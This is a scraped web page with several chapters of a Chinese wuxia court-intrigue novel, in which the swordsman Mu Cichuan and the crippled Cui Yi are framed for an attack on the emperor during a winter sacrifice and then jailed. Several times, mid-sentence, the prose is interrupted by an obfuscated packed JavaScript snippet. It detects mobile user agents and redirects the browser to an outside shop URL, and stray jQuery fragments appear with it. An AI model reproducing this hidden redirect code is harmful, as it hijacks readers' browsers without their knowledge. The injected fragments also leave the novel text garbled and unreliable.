祝轻尘微微笑了笑,说:“依卫将军看,祝某的功夫比顽徒南雀如何?” 卫子湛的脸色有些发白,低声道:“掌门剑法,已臻化境。” 祝轻尘道:“既然如此,祝某或可替代南雀,为将军效力。” “你要替她?”穆辞川一怔。 卫子湛似也犹豫了片刻,或许是想到穆辞川一人绝非月出的敌手,他最终还是点头道:“好。” 然后他抬起头望了望天色,接着说:“我该回宫侍奉天子出行了,此地交给几位大侠,请务必护得祭典平顺。” 最后他深深地看了崔疑一眼,道:“叔父的事,我自有打算,不必劳烦公子挂心。” 三句话说完,他背起陌刀,走下寰丘,消失在月光里。 “没想到小卫将军只是看上去谨慎,”崔疑感叹道,“做起事来心倒是放得很大。” 祝轻尘瞧着他,笑道:“崔小公子这是不放心我。” “怎么会?”崔疑回过头道,“祝掌门为救樊姬舍生忘死,我怎敢对掌门生疑——哦,我懂了,掌门是嫌我瞒了话。” 祝轻尘没接话,等着他说下去。 穆辞川也在静静地等,他虽已在寰丘守了两天,可对于天亮后将要发生的事,他并不比崔疑更加清楚。 崔疑就慢慢地道:“先前我已说过,此次祭祀,太后不为刺驾,而为清除帝党,涉及广泛,非穆月出一人能够应对。若是要用刀兵,他们一定会提前埋伏其他刺客。” 祝轻尘道:“你怎么知道太后明天一定会动手?若先记下名单,日后再逐一派人暗杀,岂非更隐秘。” 崔疑轻轻地笑了一声,道:“这自然有最绝佳的原由。” “什么原由?” “神罚。”穆辞川紧蹙双眉,忽然开口,“明天是祭祀,死了人,就推说成天谴。这种说辞他们也不是第一次用了。” 他自己本也就是这种荒诞借口的受害者。 崔疑看着他,笑道:“正是如此。” 穆辞川接着说:“可我和雀姑娘在这里呆了两天,并没察觉还有埋伏。” “那他们就是选了第二个法子。”崔疑没有犹豫,冷冷地说,“下毒。” 祝轻尘眯起眼睛问:“还有没有第三个法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆辞川想想道:“也是。”不再多话。 沈绣等潘勖下了车,与他并排踏上寰丘,立在穆辞川面前,用刀一样的目光将他细细地审视了一遍,开口道:“两位,真是巧遇。” 穆辞川瞪着他,说不出话。 崔疑摇车上前道:“夜里睡不着,出门吹吹风罢了。” 沈绣的目光就缓缓移动到了崔疑身上,冷笑道:“这里恐怕不是吹风的好地方。” 崔疑也笑了,笑容并不比他愉快:“我看这里的风景正合适,否则为什么连沈大人也要来这里吹风?” 沈绣轻轻地一挑眉:“嗯?” “刑部又不掌五礼仪制,不必筹备祭典,”崔疑道,“若是不为吹风,沈大人来得这么早干什么?” 他竟还反问了起来。沈绣面色发沉,冷冷地盯着他。 穆辞川的手轻轻探到背后,握紧了剑。 26. 有毒?我吃一口 沈绣淡淡地道:“太后念礼部人少事繁,特拨我来协理祭器。潘大人说是不是?” “不假。”潘勖在他身边点头道,“圣人也思及此,故派我来帮助沈大人。” 说是互相帮助,实则是互相监视。这一点穆辞川也明白。 他看见沈绣招了招手,那马车后的二三十个随从便都走上前来。他们每个人的手里都抱着一摞金丝软毯,提着一只楠木食盒。 他们在寰丘下分列开,把毯子并排铺在地上,又打开食盒,盒子里装着许多清酒与蒸肉。他们在每张毯子上都摆了一盏酒、一块肉。 “那是什么?”穆辞川问。 “祭酒、胙肉。”潘勖解释道,“虽本应祭天后再给诸位大臣分切食用,但如今参祭的臣子众多,酒肉都是提前备好的。” 穆辞川又问:“每人的都一样?” “酒虽一样,肉却不同。给王侯公卿的要选好肉,再细细挑去断骨。给普通的小官则切些边角碎肉即可,因此才要每人分摆——穆大侠怎么想起问这个?” 穆辞川没有回答,他忽然想到,沈绣既然掌管分摆胙肉,必定手握座次名单,岂非是想给谁的肉里下毒,就能给谁下毒? 这难道就是崔疑所说的唯一的机会? 崔疑也已摇车上前,双眼在坛下的坐席间扫了扫,伸手指向其中一只毯子,道:“那一个是潘大人的位子,还是沈大人的?” “是我的。”潘勖回头看了一眼,道,“崔小公子怎么知道?” “听说祭祀胙肉吃起来味同嚼蜡,难以入喉。我这么看过去,唯那一块毯上的肉色润脂肥。”崔疑笑道,“想来是沈大人特意安排。” “哦?”潘勖那只青碧色的坏眼瞟了瞟沈绣,“那小官可要感谢沈侍郎。” 他是天子近侍,沈绣如要毒杀帝党,他首当其冲。 沈绣的脸色变得不太自然,盯着崔疑道:“这虽是我私心,但也算不得什么见不得人的手段吧。” “当然不算,属下失言。”崔疑连连摆起手来,“就是肚子恰好有些饿了,看见酒肉,忍不住多说几句。” 沈绣似乎有些怒极反笑,他又伸手召来一个仆从,冷冷地吩咐道:“胙肉还有剩余,再取两份来给崔小公子充饥。” “等一等。”仆从刚要折身取肉,又被潘勖拦下,他道,“那些肉干巴巴的,怎么能用来请人?还是把我的那一份换给小公子吧。” 沈绣的目光立刻刀一样刺在潘勖脸上,嘴角有些轻微的颤:“潘大人莫非不领我的情。” “告罪告罪。”潘勖笑着拱手道,“并非不领情,只是小官实在胆子小,万一这肉被圣人看出了端倪……” 沈绣盯着他看了一会儿,忽然长叹一口气,无奈道:“依潘大人的吧。” 那块莹润的蒸肉很快就被端到崔疑面前。他双手接过碟子,笑道:“多谢多谢。我这就离开,不给两位大人添乱了。” 他调转轮椅要走,椅背却忽然被送肉的仆从捏在了手里。 那名仆从一手抓着轮椅,另一只手也已平举,袖口里有星星点点的反光——他的衣管里,竟然藏着一只袖弩。 其余的二三十个仆从忽然也都定住,也都举起胳膊,每个人的胳膊上,也都套着一只袖弩。 崔疑的笑容有些僵在了脸上。穆辞川也怔住。 “子慎。”他听见沈绣慢慢地说,“既然饿了,就先吃吧。” 月光惨白,雪地也惨白。一只漆黑的鸦从松稍上冲天飞出,发出一声厉响。 穆辞川这才怔怔地说:“他也没有那么饿……” 沈绣忽地一笑,道:“你们难道不敢吃?你们怕这块肉有毒?” 穆辞川当然相信这块肉已有剧毒。沈绣本就很想让崔疑死。 他又看向潘勖。潘勖竟也没有发话。 他是不是也已猜到肉中有毒?他岂非也不太希望崔疑活着?崔疑已经知道了他太多秘密,更何况如今只有毒死了人,才能抓住沈绣的把柄。 穆辞川忽然指着地面上叫:“啊呀!你是不是掉了东西!” 崔疑扭头看向他手指处,两个人脑袋就挤在一起。 穆辞川压着嗓子道:“你真打算吃?” “事已至此,不吃也不行了。”崔疑也低声道,“拿出来。” “拿什么?” “你的药。” 穆辞川就掏出一只大风丸,又用剑锋削成适宜入口的薄片,递给他,忍不住道:“这是药丸,不是仙丹。” “能吊一口气就够了。”崔疑接过药片,含在舌下,转身面向沈绣,冷笑道,“盛情难却,属下不敢客气。” 说完,他将手中的胙肉一口吞下了肚子。 风很静。没有人说话。 他们都在等。等人死。 崔疑好像真的快要死了,他面色铁青,鼻尖挂着冷汗。可他忽然又发出了一声轻轻的笑,好像个还魂的鬼。 他笑着说:“多谢沈大人款待,味道的确很好。” “多谢多谢。别客气别客气。”潘勖眼见没毒死人,上前打起了圆场,“既然吃饱了,天气又冷,两位大侠快早回家吧——沈大人,我们也快回去迎驾吧,走吧走吧。” 沈绣不再纠缠,折身跟着潘勖走了。车马随他们一同撤去,只有几片雪花落在崔疑的睫毛上。 穆辞川低头看着那人睫上的雪花,说:“你有没有事。” 崔疑哑声道:“没有。” “那块肉里没有毒?” “没有。” 穆辞川这才长长地呼出一口气,道:“那就好。” 崔疑却道:“不好。” “为什么不好。” “因为除了胙肉,我再想不到第二处可做手脚的地方。”崔疑的眉紧紧地拧着,“我也想不通沈绣为何不把我们赶走。除此之外,还有一件事,想必你也有所察觉——” 穆辞川道:“是关于祝掌门?” “是的。”崔疑道,“他是怎么找到这里来的?” 祝轻尘从未接触过宫里的人,本不应知道他们在寰丘筹备祭祀。可他还是带着樊姬来了。 穆辞川声音微微颤抖:“你是说,他已经投靠了沈绣。” “这一点根本不必怀疑。我不戳穿他,也不过是想看看他要做些什么。”崔疑道,“倒是另一人的反应,更让我意想不到。” 穆辞川道:“是谁?” “卫子湛。” “他又怎么了?” “穆辞川,”崔疑看着他,“你曾与他相处,在你看来,他是个怎样的人。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609371|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 穆辞川想了想,道:“他做事很细致,面圣之前先带我们洗了澡。我脸不好看,他还找了手帕给我盖头。” 崔疑听完道:“这样的人,本不应该轻易相信祝轻尘的。” 可他却相信了,没有过问他的来历,便准许他替代了江南雀。这是件怪事。 今夜的怪事实在不少。 穆辞川不知道这些事的答案,可他知道待寒衣节祭祀结束后,这些问题都将真相大白。 所以他们只有等。三个人都躲在松树后,三双眼睛都透过松叶,盯着那座月亮般的祭坛。 祭坛边陆续来了参祭的臣子,卯时刚过,他们已都分站在那些毯子边上,然后就有一驾朱红的大轿子在众人的簇拥下缓缓驶来,轿窗里探出一丛碧绿的莲叶。 “那就是圣人的轿子!”穆辞川指着那驾红轿,低声说,“他身边总有那样的莲花。” 祝轻尘道:“他怎么不下轿。” 崔疑道:“看起来他比我们想的更怕死。” 红轿车停在寰丘中央。一个身穿冕服的太监走上前来,替代天子主持典礼,唱诵祭文。或许那是潘勖,但那里的人都穿着同样的冕服,穆辞川看不清。 祭典流程一项一项地进行下去,酒肉也都入了参祭者的肚腹,并无任何异常。直到天色破晓,太监下令“焚衣敬祖”,便有四名“燎人”奉令将几件冬衣投入寰丘四角的燎炉中。 四只燎炉里,立刻腾起四股浓白的烟。 天静无风,浓烟就地扩散,遮天蔽月。寰丘间随即响起嘈杂的人声。穆辞川登时攥剑在手,道:“难道是毒烟。” “若是毒烟,他们自己也要中招。”崔疑的神色也变了,“烟不过用来障眼,刺客早已在天子身边!” 一语未落,穆辞川的人已从松林中窜出,刺入那团苍白的烟。 白烟太浓,穆辞川立刻什么也看不见了。但他还记得寰丘的方位,也知道慌乱之间,天子的轿撵并不会移动得太远。他的剑已出鞘。 一片硕大的莲叶,忽然出现在他的面前。他知道身前就是皇帝车架,于是竖起耳朵一听,果然听见莲叶后传来一阵可疑的窸窣声。 他一剑刺出。也刺中。 本来人声鼎沸的寰丘,忽然变得异常寂静。 烟忽然散了。 穆辞川看到自己就站在那驾朱红的轿子前,“不愿寒”剑已刺穿轿身,剑尖上正挑着一朵鲜红的莲花。 轿子里只有花,没有人。 没有皇帝,也没有刺客。只有穆辞川持剑站在轿旁。 他是不是已成了别人眼中的刺客? “咳、咳……”一串轻轻的咳嗽声,从祭坛下传来。沈绣握着一柄团扇,拂去面前的余烟,慢慢地登上寰丘。 他走到坛心,先是环顾了一遍四只燎炉,然后轻声道:“今日的祭衣是谁准备的……咳咳……烧起来这么大的烟。” “下官太常寺司牲官,负责采买祭品……”一个中年的官员跪在祭坛下,颤声说。 沈绣没有看他,挥了挥扇子,吩咐道:“带去刑部审问。” 然后他的目光才落在天子轿撵上,好像是刚看见穆辞川一般,惊叹道:“好在陛下没有亲自出席,不至于熏坏了龙体……诶呀,你是谁?怎么拿着把剑站在这?” 27. 人,你眼神乱了 穆辞川好像全都懂了,但又好像全都不懂。 他当然已经明白,沈绣根本没有在祭祀上下毒,他不过是将计就计,把穆辞川诬陷成了刺客。 他为什么要这样做? 他为什么一定要逼他往死路上走?就在几天之前,他们还根本互不相识。 穆辞川放下了剑,说不出话。 可是沈绣还在说。“你难道是要刺驾?”他用团扇掩着嘴角,惊讶地道,“有人行刺,吩咐禁卫封锁寰丘——是谁指使你来的?” “我不是!”穆辞川瞪着他,眼睛发红,“是潘大人让我来护……” 他没有再说下去,因为他看到潘勖已经向自己走了过来,好眼与坏眼中都没有任何善意。 他立刻就想到,在这种时候,潘勖是绝不会替他说话的。 潘勖果然说:“天子自有卫将军率神策军保护。这个人我不认识。” 穆辞川的嘴角在面铠下轻轻地发起抖。 远处的松林里,传来了车轮碾压雪地的咯吱吱的响声。祝轻尘推着崔疑的轮椅,从林子里走出来。他一边走,一边很客气地说:“我见这个人在附近徘徊,心里生疑,因此带来给各位大人看看。” 他果然已背叛了他们…… “祝掌门,辛苦,辛苦。”沈绣向他拱了拱手,又对着寰丘下的其他人介绍道,“请大家不要害怕,这位是蜀中嘉陵派的祝掌门,与''月出''姑娘同出一派,并无歹意的。” “月出”这两个字一出口,祭坛下立刻无人再敢做声,好像这个名字代表的根本就是一个恶魔。寰丘边围列一圈的禁军让出一个缺口,请祝轻尘走进去。 祝轻尘把崔疑推到寰丘上,就推在穆辞川面前。 崔疑笑了笑。穆辞川现在并不想看他笑。 “看起来我们已百口莫辩。”他笑着道,“沈侍郎果然棋胜一招。” 沈绣道:“与天子作对,本就没有胜算的。” “咦?”潘勖忽然在一旁道,“这不是沈侍郎府上的崔小公子么?怎么也在这里。” “请潘大人放心。”沈绣道,“胆敢行刺圣驾,不论是什么人,刑部都绝不姑息。两位——” 他向穆辞川与崔疑比了一个“请”的手势,道:“后面的事,我们去刑部衙门里再议吧。” 穆辞川紧紧地攥着拳头,没有动。他看到崔疑也没有动。 “不肯去?”沈绣慢慢地走到他们两人中间,压低声音,冷笑着说,“子慎是怕自己承不住打,又做一回伪证,把朋友都供出来?” 崔疑的双眸狠狠一震。 穆辞川脑袋里也“轰”的一声响,他立刻想到裴氏灭门之时,崔疑曾为保命,交出一册书简,作为裴矫谋逆的证据。 那难道是伪证? 他的心里忽然一阵刺痛,手中的剑也不知怎么就刺了出去。 刺向沈绣。 他不愿有人对崔疑讲那种话,若一定要说清是为什么,那就是因为他自己也不愿意听到那种话。 不论当年小裴九交出的是不是伪证,他都只是想活着。想活从来都没有错的。 剑光削来,沈绣那双过分明亮的眼睛里也难免闪出惊惧的神色。剑锋刺伤他的脸颊,只要再向前探上半尺,便足以削断他的头颅。 就在这时,穆辞川的剑忽然停了。他腰间一紧,迈不出步,回头一看,见崔疑正拉着他的衣摆,就像拉着一条暴怒的恶狗。 “放手!”穆辞川的声音也几乎像是狗在咆哮。 “诶呀……”沈绣连退了几步,用衣袖沾去颧骨上的血丝,道,“阁下难道不肯伏罪?” 穆辞川没有看他,他还是瞪着崔疑,一字字地道:“我没有罪。你也没有。” 崔疑轻轻地笑道:“有没有罪,到了刑部问几句便知,还是不要在这里惹事……” “没罪就是没罪,用不着别人问!”穆辞川盯着崔疑的眼睛,那双晦暗的灰色瞳孔好像已经被他看了个透。他深吸了一口气,沉声道:“你知不知道我为什么学剑。” 崔疑的声音已极轻:“为什么。” “因为我不想死。”穆辞川说,“就算到了非死不可的时候,我也要死得痛快、磊落一点。” 死在别人的剑下,总比死在刑部大牢里痛快得多。 他又说了一遍:“放手。” 崔疑愣住了。 这些年里,他是不是也已经发现,只靠说几句话,永远也换不来族人的清白? 他是不是也常希望死得痛快、活得磊落一点? 他松开了手。 刚一松手,穆辞川的人便像猎犬一样挣出,挥剑劈向沈绣。剑音铮鸣,力破万钧。 这一剑几乎没有破绽。若放在以往,恐怕就连祝轻尘也抵挡不住。 可此刻祝轻尘已迎上来,一对细剑已经出鞘,以柔胜刚。 他也拼劲了全力。他也有人要救。 救人的第一步,通常都是杀人。 沈绣大声道:“请掌门拿下这对逆贼,不论生死!” 不论生死的意思,往往都指要死的。他们两人的剑势都已收不住,两人之间,必定要有人死。 剑都到了对方的脖颈。祝轻尘的剑锋忽然一弯,竟卷住了穆辞川的喉咙。 看来今日死的应是穆辞川。 天还没有亮透,月亮挂在穆辞川对面的松稍上,发着淡蓝色的光。 穆辞川看到那光忽然一暗!然后就有一片玄黑的身影,出现在祝轻尘身后,就像是月亮的影子。 祝轻尘忽然不动了。穆辞川也不动了,不是愣住,而是已经变得不能动。 寒风吹过,拂起那个黑影子头上的乌纱,露出一张苍白的脸。 那是张女人的脸,皮肤、头发、眉毛、嘴唇,全是月亮一样的霜白,只有双眼闪烁着月光般的淡蓝色。 月出…… 那是穆月出! 穆辞川不敢相信自己的眼睛,放声叫道:“阿姊!” 穆月出看了他一眼,只一眼,然后她就收回了目光,在祝轻尘耳边淡淡地说:“我与小鹭,都未曾怨恨过师父。” 祝轻尘虽已不能动,听了这句话,眼角还是颤抖了起来。他好像还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609372|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想说些什么,可是月光又一晃,穆月出已经不见了。 她只来了一瞬,她的手里也没有剑,可就在这一瞬之间,她已经出手点住了祝轻尘与穆辞川两人浑身上下一百四十四道穴位。 寰丘上一下子变得很静,可以听见松林间群鸟出巢,“扑簌簌”一阵响。 月出惊山鸟。 其他人虽没有被点穴,却也都吓得不敢乱动。唯有崔疑似乎很想动,可惜双腿不能听使唤。 刺驾的嫌犯已被制服,沈绣没了理由继续下手。他面色阴沉,召来几名禁卫道:“将他们扛回刑部大狱,我亲自审问。” 刑部原本没有狱。 是十二年前,尚书令裴矫涉嫌毒杀太子,雍京城上下衙门无一个敢审,最后由太后娘娘下达懿旨,将他送入刑部,最终得以定罪。 就是从那时起,刑部成了太后罗织罪名的人间地府,而后逐渐也建起一座监狱。 这座狱其实并不大,墙壁由厚厚的青砖垒成,狱内占地仅十尺见方,高却足有四五丈,以至于房顶虽开有小窗,光线却已透不进屋内。因此,监狱中央的木桌上,还另外摆着一盏小灯。 猩红的灯。 穆辞川和崔疑就被分别吊在这盏小灯的两侧,面对面地吊着,脸上都映着红色的灯光。 崔疑看着穆辞川,忽然问:“你害怕?” 穆辞川一直在想阿姊,此刻终于回过神来,哑声道:“我怕什么。” 崔疑道:“我记得你怕黑。” 穆辞川并不怕黑,他只是怕天黑的时候,世上会只剩下他一个人。他道:“我从小在大理狱长大,来这里跟回家没什么两样。” 崔疑忍不住笑了起来。 “子慎,我最佩服你的便是这一点。”牢门忽然被推开,沈绣快步走进来。他已换下冕服,穿着碧蓝的锦衣,看起来形色匆忙,好像急着去做一件大事。 他一边整理额头上的碎发,一边道:“无论到了什么时候,你都笑得出来。” 鹭娘跟着他走进监狱,关上门。 崔疑看看沈绣,又看看鹭娘,道:“多笑一笑,总比哭丧个脸更好办事。” “这件事的确很好办。”沈绣也笑了,他理好头发,从衣袖里掏出一卷写满了字的纸,放到桌上,道,“请把这个签了吧。” “这是什么?” “承认刺驾的罪状。”沈绣道,“我已代为拟好,只要签上名字,这桩案子便可以办结了。” 崔疑挑眉道:“签了之后,会怎么样?” “谋危社稷,当然是立斩不饶。” 崔疑就笑得更愉快了:“既然签也是死,不签也是死,我为什么还要签字?” “谁说要你签字?”沈绣这才看了他一眼,眼神竟好像非常奇怪,“就算你要签,谁又会信一个残废要当着文物百官的面刺杀天子?” 然后他把那张纸拾起来,拿到穆辞川面前,盯着他,冷声道:“阁下若肯认罪,我便放过子慎,如何?” 越过他的肩膀,穆辞川看到崔疑的神色在那一刻变得乱了,乱得好像阴风下的灯。 28. 你俩要拜堂了? “沈绣!”崔疑叫了一声,捆住双手的铁锁被他扯得“哗啷啷”直响,他道,“裴矫是我害死的,你若想为他复仇,为什么不来找我?” “你我之间,不过是私仇。”沈绣没有看他,“怎么会比正事重要。” 崔疑拧起眉。 什么正事? 沈绣的目的,难道本来就是为了穆辞川?可是陷害穆辞川,又算得什么正事? 监狱外忽然传来沉闷的敲门声,穆辞川听出是百里邬在外面说:“沈大人,太后下旨,请大人即刻入宫。 “知道了。”沈绣应了一声。鹭娘走上前,帮他把每条衣褶都整理得服服帖帖。 “你不必急着拒绝。”他最后又看了穆辞川一眼,沉声道,“想签字的时候,告诉鹭娘就是。只是千万别忘了,若是一直无人认罪,你们两个都要死的。” 然后他又在鹭娘耳边低语的两句,便推门而出。只留下鹭娘还守在门边,直直地站着,像一根沉默的门栓。 穆辞川已很明白如今的形势:要么自己认罪砍头,要么就等着和崔疑一起死。 他实在不太想为崔疑牺牲,但是死一个人,总比死两个好一点。 更何况崔疑已是家族的独苗,而他自己的幽州老家里,还有八九个弟妹可以照顾奶奶。 所以穆辞川沉声开口说:“我死之后,你能不能帮我保护好阿姊。” “不能。”崔疑好像连想都没有想,就冷冷地说,“我不仅不会保护她,等你死后,我还会找人刨开你的坟墓,让你永远不得安生。所以你绝对不能签那张罪状。” “好像是我求你一样!”穆辞川就知道不该对这人心软,不虞道,“那你说现在还有什么办法?” 崔疑沉吟半晌,道:“办法或许还有最后一个。” 穆辞川赶紧问:“是什么?” 崔疑没有回答,他转而看向鹭娘,眨眨眼睛,脸上竟然露出了非常乖巧和可怜的神情。他长得本就好看,撒起娇来,无论男女都要动心。 他就用那张脸看着鹭娘,软声乞求道:“好姐姐,你行行好,放我们走了吧。” 穆辞川知道他们完了。 鹭娘果然连看都没看他一眼,淡淡地道:“我不会再放你们第二次了。” 崔疑就又凉凉地看着穆辞川,道:“现在没有办法了。” 牢房里没有人再说话,只有猩红的灯火还在桌上跳动,灯芯越烧越短。 穆辞川看着那只灯芯,感觉像在看自己的命。 铁锁吊得他手腕发疼,他挣了挣,然后便听见崔疑说:“你也觉得无聊?” “无聊?” “无事可做,当然无聊。”崔疑道,“不如找点游戏玩一玩。” 穆辞川疑惑地看向他:“你着急死?” 崔疑道:“正因为离死不远,才要将最后一点时间过得有趣些。” 穆辞川无语:“随你。” “那么我们来猜谜吧!”崔疑那双雾般的眼睛一转,道,“就猜猜看,沈绣临走之前,对鹭娘说的话是什么?” 鹭娘双眉微蹙,盯着他。 穆辞川懒得跟他斗嘴,随便道:“我猜他说如果你话太多,就让鹭娘把你的嘴堵起来。” 崔疑笑了,似乎是真的觉得好笑。笑了一会儿才道:“这虽然也有道理,但在我看来,他说的应该是,不论你什么时候决定签下罪状,不论你为此提出了什么要求,鹭娘都要立刻答应你,而不必向他禀告。” 穆辞川愣了愣:“你怎么知道?” 崔疑只望着鹭娘道:“鹭姐姐先说是不是?” 鹭娘不是个善说谎的人,她哽了片刻,道:“沈大人并非什么要求都会答应。” “那就是猜中了。”崔疑笑着说,“看起来他很着急给我们定罪。可我们已是瓮中之鳖,他又在急什么?” 穆辞川感到他话里有话,没有搭茬,等他说下去。 崔疑就接着道:“沈大人今日安排这些陷阱,说到底是要帮太后娘娘打压天子党羽。可皇帝至今还未现身,沈大人急的事,是不是与皇帝有关?” “你最好不要乱猜。”鹭娘冷声打断他的话,“沈大人的安排,不喜欢让别人知道。” “我却已经知道!”一道清亮的嗓音忽然在屋顶上响起,还没等三人抬头去看,一个披着红斗篷的、火球般的人就“嗵”的一声落在木桌上,踏灭了那盏小红灯。 鹭娘冷着脸,手掌一翻,一枚银钉已经朝着那人飞出。也就在与此同时,红衣人摘下斗篷的兜帽,朝着鹭娘叫了声:“二师姐!” 来人是江南雀。 鹭娘一怔,手上立刻又打出一枚钉子,这一枚飞得更快,击在第一颗的钉尾上,“当、当”两声,两颗钉子全都弹飞了。 鹭娘几乎有些不可置信地道:“南雀?” 江南雀嘿嘿一笑:“师姐想不到我会来吧——诶,你们两个这是什么姿势?” 她看了看吊在两边的穆辞川和崔疑,忍不住大笑道:“穆辞川,你先前在皇宫里就戴着个花盖头扮新娘子,现在你们两个人又这么面对面举着手。怎么,你们要拜天地了?” 穆辞川都不想接她的话,但他听见崔疑阴声问:“你给谁扮过新娘子。” “这很重要?”穆辞川翻了他一个白眼,转头接着问江南雀,“你不是被祝掌门带走了吗,怎么找到这里来的?” “师父可关不住我。”江南雀骄傲地昂起头来,“他从寰丘把我带走的时候,我看见他怀里藏着只二师姐的银钉子,就猜出来他肯定是打听到二姐的消息了。于是我就一路偷偷跟着师父,你们在寰丘上被大师姐点穴之后,我看见师父跟着他们回皇城里去了。” 鹭娘忽地道:“你看见了月出?” “不只是我,寰丘上好些人都看见了。”江南雀道,“先不提这个。我跟师父到了皇城门口,他们进去了,我跟不进去,只能在外面躲着。这个时候,我注意到一件事。” “什么事?”穆辞川问。 “乌鸦。”江南雀说,“从皇宫里飞出来的乌鸦,今日特别多。” 穆辞川蹙眉道:“这又能证明什么。” “事出反常,必然有妖。”江南雀压低了声音,“我用内力打落了一只乌鸦,你们猜我在鸦嘴里发现了什么?” 穆辞川道:“快说。” 江南雀没有直说,她伸出一只手,在三人面前缓缓地张开了手掌。 她的掌心里,躺着一片皱皱巴巴的圆形黄纸,纸心挖有一只方孔,四边还写着“元雁通宝”四个黑字。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609373|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是纸钱?”穆辞川愣了愣,“皇宫里有人死了?” “并不一定是刚死的。”崔疑沉声道,“今天是寒衣节,本来就是烧纸祭祖的日子。乌鸦衔纸钱筑窝,也是常事。” 穆辞川道:“这么说来,并没什么不对的。” “很不对。”崔疑却摇了摇头,“烧纸的习俗虽在民间盛行,但宫里为防走水,一向是不准许烧祭的。这样大规模的烧纸钱,首先要避开神策军的耳目。” 能避开神策军耳目的人,其目的通常就不止要在蓬莱宫里烧几片纸钱。 他为何要费这样大的工夫进皇宫烧纸?他在给谁烧纸? 穆辞川道:“难道沈绣就是为这事着急?” “恐怕是他为了陷害你,故意瞒着潘勖,将皇帝留在宫里,反倒叫别人钻了空子。”崔疑道,“不愧是雀姑娘,轻易便发现了如此重要的线索。不似有的人,在宫里呆了半天,只知道扮新娘给别人看。” 穆辞川道:“你能不能不要再提这件事了?” “碰巧,碰巧。”江南雀被他夸得有些不好意思,“我就是想着,大师姐或许还会露面,才赶紧来找你们,找机会救她出去。” 穆辞川叹了口气,道:“你应该先找机会救我们出去的。” “这个我已想过!”江南雀的双眼发亮,“你们不是因为刺杀皇上被关起来的吗,现在皇宫里出了事,你们跟着我,去把事情给平了,将功抵过,皇上说不准就会赦免你们。二师姐——” 她跳下桌子,跑到鹭娘身边,扯起她的手:“二姐,你把他们放了,跟我们一起走吧。等把大师姐救出来,我们就一起回嘉陵去。” 鹭娘的嘴唇好像轻轻颤了颤。她来雍京多少年了?她是不是也很想回故乡? 可她还是一翻手,捏住了江南雀的手腕,嗓音低哑地道:“我不能走。” 江南雀愣住。“为什么?”她脱口而出道,“你真的要为了那个姓沈的做事?” 她顿了顿,又追问:“你难道喜欢上了他?” 鹭娘没有承认,可也没有否认。她沉默片刻,才道:“他救过我,我至少要先报答过他。” “他叫你做什么?” 鹭娘不再回答,只是抬起头,看向穆辞川。她的目光很冷,可穆辞川竟然从那冰冷的目光里看出了一些真切的恳求。 她的意思,穆辞川已经全都明白。 他沉声说:“把罪状拿过来,我签字。” 崔疑厉声呵斥道:“穆辞川!” “雀姑娘说的有理。”穆辞川盯着他,“见了皇上,或许还有活路,总比等死好。” 然后他又看向鹭娘,道:“沈绣说过,只要我认罪,他就能答应我的条件,是不是。” 鹭娘道:“你的条件就是进宫?” “你若怕我逃了,就押着我去。”穆辞川说。 日光晦暗,没有人能看清鹭娘的神情,但所有人都听见她用极轻的声音说:“我要借你一样东西。” 说完,她并没有等穆辞川同意,就一伸手,从他那件破旧的黑衣上撕下一片布来,蒙在自己的脸上。 然后她看向崔疑:“你呢。” 崔疑笑了,没有笑涡。他冷笑着说:“沈绣分明也说过,只要他签了罪状,就放我走的。” 29. 上锅! 天光大亮,雪已彻底停了。皇城外的凤凰街上,尚且没有几个行人,积雪微微融化,形成一层冰壳子。 穆辞川每迈出一步,就踏碎一块冰壳。 他的双手上挂着一副铜铐,双脚上拴着一副铜镣,都由铁索锁着,牵在鹭娘手里。 “不愿寒”也提在鹭娘手里。鹭娘走在他的身后,像在遛一条很大的狗。 他们的旁边,跟着江南雀;而他们面前的雪地上,则蜿蜒着一对细长的车轮印子。 崔疑正在那里摇轮椅。 他一路上都很沉默,仿佛根本不认识其他的三个人。最终是穆辞川忍不住道:“你不是已经被鹭娘放走了吗。” 崔疑没有回头,淡淡地道:“自从你在那张罪状上签名之后,她就已经放我走了。” “那你为什么还要堵在这儿?” “我并没有特意堵着你。”崔疑说,“我不过是要去办自己的事。” “你有什么事。” “我受邀要去见个朋友。”崔疑道,“我也是有几个朋友的。” 穆辞川皱眉问:“皇宫里的朋友?” “如果连你们这种人都敢往皇宫里闯的话,我就理应能交到宫里的朋友。” 